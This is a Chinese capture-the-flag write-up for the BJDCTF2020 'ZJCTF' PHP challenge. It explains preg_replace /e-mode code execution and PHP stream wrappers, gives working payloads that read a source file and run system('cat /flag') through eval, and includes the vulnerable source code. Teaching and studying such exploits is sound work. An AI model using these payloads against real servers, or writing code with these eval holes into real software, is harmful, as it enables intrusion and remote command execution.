BJDCTF2020 ZJCTF,不过如此 1题解


BJDCTF2020 ZJCTF,不过如此 1题解

前置知识

preg_replace /e模式

参考深入研究preg_replace与代码执行
对于

header("Content-Type: text.plain");

function complexStrtolower($regex, $value)
{
    return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
}

foreach ($_GET as $regex => $value)
{
    echo complexStrtolower($regex, $value) . "\n";
}

preg_replace 使用了***/e***模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串,那这样要如何执行代码呢?
上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以这里的 \1 实际上指定的是第一个子匹配项,拿一个payload分析***/?.*={${phpinfo()}}***

原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

.* 是通过 GET 方式传入,你会发现无法执行 phpinfo 函数,会发现我们传上去的 .* 变成了 _* ,是因为在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,当非法字符为首字母时,只有点号会被替换成下划线
常用payload:\S*=${phpinfo()}

伪协议

见之前的博客

题目详解

打开题目,发现源码

<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }
    include($file);  //next.php
}
else{
    highlight_file(__FILE__);
}
?>

利用data协议和php协议构造payload

http://42ac15c1-17e9-4fe0-9c1a-fff5508c70a7.node4.buuoj.cn:81/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
回显:PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

base64解码后得到next.php源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
function getFlag(){
    @eval($_GET['cmd']);
}

我们看到前面两个函数就是preg_replace的/e模式,可用漏洞。同时getFlag函数运行了cmd。于是可构造payload

/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
回显:flag{30cd90b7-7b0b-4434-a831-83d5be39a04c} system('cat /flag'); 

得到flag:flag{30cd90b7-7b0b-4434-a831-83d5be39a04c}

参考:
https://xz.aliyun.com/t/2557
https://blog.csdn.net/qq_48008847/article/details/118804275


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !